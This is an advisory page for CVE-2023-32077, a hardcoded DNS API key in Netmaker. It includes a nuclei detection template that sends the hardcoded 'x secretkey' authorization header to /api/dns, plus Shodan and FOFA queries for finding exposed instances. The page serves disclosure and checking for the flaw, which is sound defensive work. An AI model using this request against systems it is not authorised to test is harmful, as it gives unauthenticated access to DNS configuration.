Netmaker - Hardcoded DNS Secret Key

highseverity

7.5CVSS score

3.5%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

Netmaker makes networks with WireGuard. Prior to versions 0.17.1 and 0.18.6, hardcoded DNS key usage has been found in Netmaker allowing unauth users to interact with DNS API endpoints.

Impact

Unauthenticated attackers can access DNS API endpoints using the hardcoded secret key, potentially manipulating DNS configurations and redirecting WireGuard network traffic in the Netmaker VPN infrastructure.

Fix

Update Netmaker to version 0.17.1 or 0.18.6 or later that removes hardcoded credentials and implements proper authentication for DNS API endpoints.

How to confirm it

Send: GET {{BaseURL}}/api/dns
Positive when: status_code == 200 and contains(header, "application/json") and contains_all(body, "{\"address\":", "\"network\":", "\"name\":")

Run it with nuclei: nuclei -id CVE-2023-32077 -u <target>

The full check

id: CVE-2023-32077

info:
  name: Netmaker - Hardcoded DNS Secret Key
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Netmaker makes networks with WireGuard. Prior to versions 0.17.1 and 0.18.6, hardcoded DNS key usage has been found in Netmaker allowing unauth users to interact with DNS API endpoints.
  impact: |
    Unauthenticated attackers can access DNS API endpoints using the hardcoded secret key, potentially manipulating DNS configurations and redirecting WireGuard network traffic in the Netmaker VPN infrastructure.
  remediation: |
    Update Netmaker to version 0.17.1 or 0.18.6 or later that removes hardcoded credentials and implements proper authentication for DNS API endpoints.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-32077
    cwe-id: CWE-798,CWE-321
    epss-score: 0.03534
    epss-percentile: 0.8936
    cpe: cpe:2.3:a:gravitl:netmaker:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: gravitl
    product: netmaker
    shodan-query:
      - html:"netmaker"
      - http.html:"netmaker"
    fofa-query: body="netmaker"
  tags: cve,cve2023,info-key,netmaker,exposure,gravitl,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/dns"

    headers:
      Authorization: "x secretkey"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "application/json")'
          - 'contains_all(body, "{\"address\":", "\"network\":", "\"name\":")'
        condition: and

Use this check only on systems you are authorised to test. Where the data comes from